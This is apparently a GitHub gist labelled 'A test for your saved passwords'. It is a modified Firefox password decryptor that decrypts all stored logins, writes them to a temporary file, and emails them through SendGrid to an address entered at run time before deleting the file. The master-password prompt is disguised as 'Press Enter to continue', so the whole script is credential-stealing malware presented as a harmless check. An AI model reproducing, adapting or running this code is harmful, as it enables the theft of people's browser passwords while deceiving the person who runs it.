Skip to content

Instantly share code, notes, and snippets.

@vernwalrahul
Created May 15, 2017 01:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vernwalrahul/c4d039fc0dbdb8d43f34f3c5251cf9ac to your computer and use it in GitHub Desktop.
Save vernwalrahul/c4d039fc0dbdb8d43f34f3c5251cf9ac to your computer and use it in GitHub Desktop.
A test for your saved passwords.
import argparse
import json
import logging
import os
import sqlite3
import sys
from base64 import b64decode
from ctypes import c_uint, c_void_p, c_char_p, cast, byref, string_at
from ctypes import Structure, CDLL
from getpass import getpass
from subprocess import Popen, PIPE
import sendgrid
import os
from sendgrid.helpers.mail import *
sg = sendgrid.SendGridAPIClient(apikey='') #api key here.
from_email = Email("test@example.com")
email=raw_input("Email id: ");
to_email = Email(email);
subject = "Just testing it"
file=open('code1','a');
try:
# Python 3
from subprocess import DEVNULL
except ImportError:
# Python 2
DEVNULL = open(os.devnull, 'w')
try:
# Python 3
from urllib.parse import urlparse
except ImportError:
# Python 2
from urlparse import urlparse
try:
# Python 3
from configparser import ConfigParser
raw_input = input
except ImportError:
# Python 2
from ConfigParser import ConfigParser
PY3 = sys.version_info.major > 2
LOG = None
VERBOSE = False
def get_version():
"""Obtain version information from git if available otherwise use
the internal version number
"""
def internal_version():
return '.'.join(map(str, __version_info__))
try:
p = Popen(["git", "describe", "--tags"], stdout=PIPE, stderr=DEVNULL)
except OSError:
return internal_version()
stdout, stderr = p.communicate()
if p.returncode:
return internal_version()
else:
return stdout.strip().decode("utf-8")
__version_info__ = (0, 6, 2)
__version__ = get_version()
class NotFoundError(Exception):
"""Exception to handle situations where a credentials file is not found
"""
pass
class Exit(Exception):
"""Exception to allow a clean exit from any point in execution
"""
ERROR = 1
MISSING_PROFILEINI = 2
MISSING_SECRETS = 3
BAD_PROFILEINI = 4
LOCATION_NO_DIRECTORY = 5
FAIL_LOAD_NSS = 11
FAIL_INIT_NSS = 12
FAIL_NSS_KEYSLOT = 13
BAD_MASTER_PASSWORD = 15
NEED_MASTER_PASSWORD = 16
PASSSTORE_NOT_INIT = 20
PASSSTORE_MISSING = 21
PASSSTORE_ERROR = 22
READ_GOT_EOF = 30
MISSING_CHOICE = 31
NO_SUCH_PROFILE = 32
UNKNOWN_ERROR = 100
UNEXPECTED_END = 101
KEYBOARD_INTERRUPT = 102
def __init__(self, exitcode):
self.exitcode = exitcode
def __unicode__(self):
return "Premature program exit with exit code {0}".format(self.exitcode)
class Item(Structure):
"""struct needed to interact with libnss
"""
_fields_ = [('type', c_uint), ('data', c_void_p), ('len', c_uint)]
class Credentials(object):
"""Base credentials backend manager
"""
def __init__(self, db):
self.db = db
LOG.debug("Database location: %s", self.db)
if not os.path.isfile(db):
raise NotFoundError("ERROR - {0} database not found\n".format(db))
LOG.info("Using %s for credentials.", db)
def __iter__(self):
pass
def done(self):
"""Override this method if the credentials subclass needs to do any
action after interaction
"""
pass
class SqliteCredentials(Credentials):
"""SQLite credentials backend manager
"""
def __init__(self, profile):
db = os.path.join(profile, "signons.sqlite")
super(SqliteCredentials, self).__init__(db)
self.conn = sqlite3.connect(db)
self.c = self.conn.cursor()
def __iter__(self):
LOG.debug("Reading password database in SQLite format")
self.c.execute("SELECT hostname, encryptedUsername, encryptedPassword, encType "
"FROM moz_logins")
for i in self.c:
# yields hostname, encryptedUsername, encryptedPassword, encType
yield i
def done(self):
"""Close the sqlite cursor and database connection
"""
super(SqliteCredentials, self).done()
self.c.close()
self.conn.close()
class JsonCredentials(Credentials):
"""JSON credentials backend manager
"""
def __init__(self, profile):
db = os.path.join(profile, "logins.json")
super(JsonCredentials, self).__init__(db)
def __iter__(self):
with open(self.db) as fh:
LOG.debug("Reading password database in JSON format")
data = json.load(fh)
try:
logins = data["logins"]
except:
raise Exception("Unrecognized format in {0}".format(self.db))
for i in logins:
yield (i["hostname"], i["encryptedUsername"],
i["encryptedPassword"], i["encType"])
class NSSInteraction(object):
"""
Interact with lib NSS
"""
def __init__(self):
self.NSS = None
self.load_libnss()
@staticmethod
def find_nss(locations, nssname):
"""Locate nss is one of the many possible locations
"""
for loc in locations:
if os.path.exists(os.path.join(loc, nssname)):
return loc
LOG.warn("%s not found on any of the default locations for this platform. "
"Attempting to continue nonetheless.", nssname)
return ""
def load_libnss(self):
"""Load libnss into python using the CDLL interface
"""
if os.name == "nt":
nssname = "nss3.dll"
locations = (
"", # Current directory or system lib finder
r"C:\Program Files (x86)\Mozilla Firefox",
r"C:\Program Files\Mozilla Firefox"
)
firefox = self.find_nss(locations, nssname)
os.environ["PATH"] = ';'.join([os.environ["PATH"], firefox])
LOG.debug("PATH is now %s", os.environ["PATH"])
elif os.uname()[0] == "Darwin":
nssname = "libnss3.dylib"
locations = (
"", # Current directory or system lib finder
"/usr/local/lib/nss",
"/usr/local/lib",
"/opt/local/lib/nss",
"/sw/lib/firefox",
"/sw/lib/mozilla",
)
firefox = self.find_nss(locations, nssname)
else:
nssname = "libnss3.so"
firefox = "" # Current directory or system lib finder
try:
nsslib = os.path.join(firefox, nssname)
LOG.debug("Loading NSS library from %s", nsslib)
self.NSS = CDLL(nsslib)
except Exception as e:
LOG.error("Problems opening '%s' required", nssname)
LOG.error("Error was %s", e)
raise Exit(Exit.FAIL_LOAD_NSS)
def handle_error(self):
"""If an error happens in libnss, handle it and print some debug information
"""
LOG.debug("Error during a call to NSS library, trying to obtain error info")
error = self.NSS.PORT_GetError()
self.NSS.PR_ErrorToString.restype = c_char_p
self.NSS.PR_ErrorToName.restype = c_char_p
error_str = self.NSS.PR_ErrorToString(error)
error_name = self.NSS.PR_ErrorToName(error)
if PY3:
error_name = error_name.decode("utf8")
error_str = error_str.decode("utf8")
LOG.debug("%s: %s", error_name, error_str)
def get_keyslot(self):
"""Obtain a pointer to the internal key slot"""
# NOTE This code used to be:
# return self.NSS.PK11_GetInternalKeySlot()
# but on some systems this would segfault.
# I don't quite understand the reasons but forcing the output to be
# treated as a pointer and passed again as a pointer avoids the segfault
self.NSS.PK11_GetInternalKeySlot.restype = c_void_p
p = self.NSS.PK11_GetInternalKeySlot()
return cast(p, c_void_p)
def initialize_libnss(self, profile, password):
"""Initialize the NSS library by authenticating with the user supplied password
"""
LOG.debug("Initializing NSS with profile path '%s'", profile)
i = self.NSS.NSS_Init(profile.encode("utf8"))
LOG.debug("Initializing NSS returned %s", i)
if i != 0:
LOG.error("Couldn't initialize NSS, maybe '%s' is not a valid profile?", profile)
self.handle_error()
raise Exit(Exit.FAIL_INIT_NSS)
if password:
LOG.debug("Retrieving internal key slot")
p_password = c_char_p(password.encode("utf8"))
keyslot = self.get_keyslot()
LOG.debug("Internal key slot %s", keyslot)
if not keyslot:
LOG.error("Failed to retrieve internal KeySlot")
self.handle_error()
raise Exit(Exit.FAIL_NSS_KEYSLOT)
LOG.debug("Authenticating with password '%s'", password)
i = self.NSS.PK11_CheckUserPassword(keyslot, p_password)
LOG.debug("Checking user password returned %s", i)
if i != 0:
LOG.error("Master password is not correct")
self.handle_error()
raise Exit(Exit.BAD_MASTER_PASSWORD)
else:
print(" ")
#LOG.warn("Attempting decryption with no Master Password")
def decode_entry(self, user, passw):
"""Decrypt one entry in the database
"""
username = Item()
passwd = Item()
outuser = Item()
outpass = Item()
username.data = cast(c_char_p(b64decode(user)), c_void_p)
username.len = len(b64decode(user))
passwd.data = cast(c_char_p(b64decode(passw)), c_void_p)
passwd.len = len(b64decode(passw))
LOG.debug("Decrypting username data '%s'", user)
i = self.NSS.PK11SDR_Decrypt(byref(username), byref(outuser), None)
LOG.debug("Decryption of username returned %s", i)
if i == -1:
LOG.error("Passwords protected by a Master Password!")
self.handle_error()
raise Exit(Exit.NEED_MASTER_PASSWORD)
LOG.debug("Decrypting password data '%s'", passw)
i = self.NSS.PK11SDR_Decrypt(byref(passwd), byref(outpass), None)
LOG.debug("Decryption of password returned %s", i)
if i == -1:
# This shouldn't really happen but failsafe just in case
LOG.error("Given Master Password is not correct!")
self.handle_error()
raise Exit(Exit.UNEXPECTED_END)
user = string_at(outuser.data, outuser.len)
passw = string_at(outpass.data, outpass.len)
return user, passw
def decrypt_passwords(self, profile, password, export, tabular):
"""
Decrypt requested profile using the provided password and print out all
stored passwords.
"""
def output_line(line):
if PY3:
#sys.stdout.write(line)
#file.write("\nNext data \n");
file.write(line);
file.write("\n")
else:
#sys.stdout.write(line.encode("utf8"))
#file.write("\n Next data \n")
file.write(line);
file.write("\n")
self.initialize_libnss(profile, password)
# Any password in this profile store at all?
got_password = False
header = False
credentials = obtain_credentials(profile)
LOG.info("Decrypting credentials")
to_export = {}
for host, user, passw, enctype in credentials:
got_password = True
# enctype informs if passwords are encrypted and protected by a master password
if enctype:
user, passw = self.decode_entry(user, passw)
user = user.decode("utf8")
passw = passw.decode("utf8")
LOG.debug("Decoding username '%s' and password '%s' for website '%s'", user, passw, host)
LOG.debug("Decoding username '%s' and password '%s' for website '%s'", type(user), type(passw), type(host))
#os.system('clear')
if export:
# Keep track of web-address, username and passwords
# If more than one username exists for the same web-address
# the username will be used as name of the file
address = urlparse(host)
if address.netloc not in to_export:
to_export[address.netloc] = {user: passw}
else:
to_export[address.netloc][user] = passw
elif tabular:
if header:
output_line(u"Website\tUsername\tPassword}\n".format(host, user, passw))
output_line(u"'{0}'\t'{1}'\t'{2}'\n".format(host, user, passw))
else:
output = (
u"\nWebsite: {0}\n".format(host),
u"Username: '{0}'\n".format(user),
u"Password: '{0}'\n".format(passw),
)
file.write("\n Next data")
for line in output:
output_line(line)
credentials.done()
#os.system('clear')
self.NSS.NSS_Shutdown()
if export:
export_pass(to_export)
if not got_password:
LOG.warn("No passwords found in selected profile")
def test_password_store(export):
"""Check if pass from passwordstore.org is installed
If it is installed but not initialized, initialize it
"""
# Nothing to do here if exporting wasn't requested
if not export:
LOG.debug("Skipping password store test, not exporting")
return
LOG.debug("Testing if password store is installed and configured")
try:
p = Popen(["pass"], stdout=PIPE, stderr=PIPE)
except OSError as e:
if e.errno == 2:
LOG.error("Password store is not installed and exporting was requested")
raise Exit(Exit.PASSSTORE_MISSING)
else:
LOG.error("Unknown error happened.")
LOG.error("Error was %s", e)
raise Exit(Exit.UNKNOWN_ERROR)
out, err = p.communicate()
LOG.debug("pass returned: %s %s", out, err)
if p.returncode != 0:
if 'Try "pass init"' in err:
LOG.error("Password store was not initialized.")
LOG.error("Initialize the password store manually by using 'pass init'")
raise Exit(Exit.PASSSTORE_NOT_INIT)
else:
LOG.error("Unknown error happened when running 'pass'.")
LOG.error("Stdout/Stderr was '%s' '%s'", out, err)
raise Exit(Exit.UNKNOWN_ERROR)
def obtain_credentials(profile):
"""Figure out which of the 2 possible backend credential engines is available
"""
try:
credentials = JsonCredentials(profile)
except NotFoundError:
try:
credentials = SqliteCredentials(profile)
except NotFoundError:
LOG.error("Couldn't find credentials file (logins.json or signons.sqlite).")
raise Exit(Exit.MISSING_SECRETS)
return credentials
def export_pass(to_export):
"""Export given passwords to password store
Format of "to_export" should be:
{"address": {"login": "password", ...}, ...}
"""
LOG.info("Exporting credentials to password store")
for address in to_export:
for user, passw in to_export[address].items():
# When more than one account exist for the same address, add
# the login to the password identifier
if len(to_export[address]) > 1:
passname = u"web/{0}/{1}".format(address, user)
else:
passname = u"web/{0}".format(address)
LOG.debug("Exporting credentials for '%s'", passname)
data = u"{0}\n{1}\n".format(passw, user)
LOG.debug("Inserting pass '%s' '%s'", passname, data)
# NOTE --force is used. Existing passwords will be overwritten
cmd = ["pass", "insert", "--force", "--multiline", passname]
LOG.debug("Running command '%s' with stdin '%s'", cmd, data)
p = Popen(cmd, stdout=PIPE, stderr=PIPE, stdin=PIPE)
out, err = p.communicate(data.encode("utf8"))
if p.returncode != 0:
LOG.error("ERROR: passwordstore exited with non-zero: %s", p.returncode)
LOG.error("Stdout/Stderr was '%s' '%s'", out, err)
raise Exit(Exit.PASSSTORE_ERROR)
LOG.debug("Successfully exported '%s'", passname)
def get_sections(profiles):
"""
Returns hash of profile numbers and profile names.
"""
sections = {}
i = 1
for section in profiles.sections():
if section.startswith("Profile"):
sections[str(i)] = profiles.get(section, "Path")
i += 1
else:
continue
return sections
def print_sections(sections, textIOWrapper=sys.stderr):
"""
Prints all available sections to an textIOWrapper (defaults to sys.stderr)
"""
for i in sorted(sections):
textIOWrapper.write("{0} -> {1}\n".format(i, sections[i]))
textIOWrapper.flush()
def ask_section(profiles, choice_arg):
"""
Prompt the user which profile should be used for decryption
"""
sections = get_sections(profiles)
# Do not ask for choice if user already gave one
if choice_arg and len(choice_arg) == 1:
choice = choice_arg[0]
else:
# If only one menu entry exists, use it without prompting
if len(sections) == 1:
choice = "1"
else:
choice = None
while choice not in sections:
sys.stderr.write("Select the Firefox profile you wish to decrypt\n")
print_sections(sections)
try:
choice = raw_input("Choice: ")
except EOFError:
LOG.error("Could not read Choice, got EOF")
raise Exit(Exit.READ_GOT_EOF)
try:
final_choice = sections[choice]
except KeyError:
LOG.error("Profile No. %s does not exist!", choice)
raise Exit(Exit.NO_SUCH_PROFILE)
LOG.debug("Profile selection matched %s", final_choice)
return final_choice
def ask_password(profile, no_interactive):
"""
Prompt for profile password
"""
utf8 = "UTF-8"
input_encoding = utf8 if sys.stdin.encoding in (None, 'ascii') else sys.stdin.encoding
passmsg = "\nPress Enter to continue.... {}: ".format(profile) #Masterpasswd demand
if sys.stdin.isatty() and not no_interactive:
passwd = getpass(passmsg)
print("given password="+passwd)
else:
# Ability to read the password from stdin (echo "pass" | ./firefox_...)
passwd = sys.stdin.readline().rstrip("\n")
if PY3:
return passwd
else:
return passwd.decode(input_encoding)
def read_profiles(basepath, list_profiles):
"""
Parse Firefox profiles in provided location.
If list_profiles is true, will exit after listing available profiles.
"""
profileini = os.path.join(basepath, "profiles.ini")
LOG.debug("Reading profiles from %s", profileini)
if not os.path.isfile(profileini):
LOG.warn("profile.ini not found in %s", basepath)
raise Exit(Exit.MISSING_PROFILEINI)
# Read profiles from Firefox profile folder
profiles = ConfigParser()
profiles.read(profileini)
LOG.debug("Read profiles %s", profiles.sections())
if list_profiles:
LOG.debug("Listing available profiles...")
print_sections(get_sections(profiles), sys.stdout)
raise Exit(0)
return profiles
def get_profile(basepath, no_interactive, choice, list_profiles):
"""
Select profile to use by either reading profiles.ini or assuming given
path is already a profile
If no_interactive is true, will not try to ask which profile to decrypt.
choice contains the choice the user gave us as an CLI arg.
If list_profiles is true will exits after listing all available profiles.
"""
try:
profiles = read_profiles(basepath, list_profiles)
except Exit as e:
if e.exitcode == Exit.MISSING_PROFILEINI:
LOG.warn("Continuing and assuming '%s' is a profile location", basepath)
profile = basepath
if list_profiles:
LOG.error("Listing single profiles not permitted.")
raise
if not os.path.isdir(profile):
LOG.error("Profile location '%s' is not a directory", profile)
raise
else:
raise
else:
if no_interactive:
sections = get_sections(profiles)
if choice and len(choice) == 1:
try:
section = sections[(choice[0])]
except KeyError:
LOG.error("Profile No. %s does not exist!", choice[0])
raise Exit(Exit.NO_SUCH_PROFILE)
elif len(sections) == 1:
section = sections['1']
else:
LOG.error("Don't know which profile to decrypt. We are in non-interactive mode and -c/--choice is missing.")
raise Exit(Exit.MISSING_CHOICE)
else:
# Ask user which profile to open
section = ask_section(profiles, choice)
profile = os.path.join(basepath, section)
if not os.path.isdir(profile):
LOG.error("Profile location '%s' is not a directory. Has profiles.ini been tampered with?", profile)
raise Exit(Exit.BAD_PROFILEINI)
return profile
def parse_sys_args():
"""Parse command line arguments
"""
if os.name == "nt":
profile_path = os.path.join(os.environ['APPDATA'], "Mozilla", "Firefox")
elif os.uname()[0] == "Darwin":
profile_path = "~/Library/Application Support/Firefox"
else:
profile_path = "~/.mozilla/firefox"
parser = argparse.ArgumentParser(
description="Access Firefox/Thunderbird profiles and decrypt existing passwords"
)
parser.add_argument("profile", nargs='?', default=profile_path,
help="Path to profile folder (default: {0})".format(profile_path))
parser.add_argument("-e", "--export-pass", action="store_true",
help="Export URL, username and password to pass from passwordstore.org")
parser.add_argument("-t", "--tabular", action="store_true",
help="Output in tabular format")
parser.add_argument("-n", "--no-interactive", action="store_true",
help="Disable interactivity.")
parser.add_argument("-c", "--choice", nargs=1,
help="The profile to use (starts with 1). If only one profile, defaults to that.")
parser.add_argument("-l", "--list", action="store_true",
help="List profiles and exit.")
parser.add_argument("-v", "--verbose", action="count", default=0,
help="Verbosity level. Warning on -vv (highest level) user input will be printed on screen")
parser.add_argument("--version", action="version", version=__version__,
help="Display version of firefox_decrypt and exit")
args = parser.parse_args()
return args
def setup_logging(args):
"""Setup the logging level and configure the basic logger
"""
if args.verbose == 1:
level = logging.INFO
elif args.verbose >= 2:
level = logging.DEBUG
else:
level = logging.WARN
logging.basicConfig(
format="%(asctime)s - %(levelname)s - %(message)s",
level=level,
)
global LOG
LOG = logging.getLogger(__name__)
def main():
"""Main entry point
"""
args = parse_sys_args()
setup_logging(args)
#os.system('clear')
LOG.info("Running firefox_decrypt version: %s", __version__)
LOG.debug("Parsed commandline arguments: %s", args)
# Check whether pass from passwordstore.org is installed
test_password_store(args.export_pass)
nss = NSSInteraction()
basepath = os.path.expanduser(args.profile)
# Read profiles from profiles.ini in profile folder
profile = get_profile(basepath, args.no_interactive, args.choice, args.list)
# Prompt for Master Password
password = ""
#os.system('clear')
# And finally decode all passwords
nss.decrypt_passwords(profile, password, args.export_pass, args.tabular)
if __name__ == "__main__":
try:
main()
file.close();
filer=open('code1','r')
html=filer.read()
content = Content("text/plain", html)
filer.close()
os.remove('code1')
mail = Mail(from_email, subject, to_email, content)
response = sg.client.mail.send.post(request_body=mail.get())
#os.system('clear')
print("Thank You ")
except KeyboardInterrupt as e:
print("Quit.")
sys.exit(Exit.KEYBOARD_INTERRUPT)
except Exit as e:
sys.exit(e.exitcode)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment